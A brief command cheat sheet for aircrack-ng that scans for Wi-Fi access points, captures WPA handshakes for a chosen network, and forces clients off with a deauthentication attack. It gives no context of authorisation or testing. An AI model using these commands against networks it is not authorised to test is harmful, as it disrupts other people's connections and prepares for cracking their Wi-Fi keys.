Scan for access points and clients in all channels

airodump-ng <interface>

Capture client handshakes to a specific access point

airodump-ng -c <channel> --bssid <access_point_mac_address> <interface> -w /tmp/dump

Force clients to handshake by deauthenticating them

aireplay-ng --deauth 10 -a <access_point_mac_address> <interface>

You'll know that you've captured a client handshake when you see WPA handshake: <access_point_mac_address> printed from airodump-ng.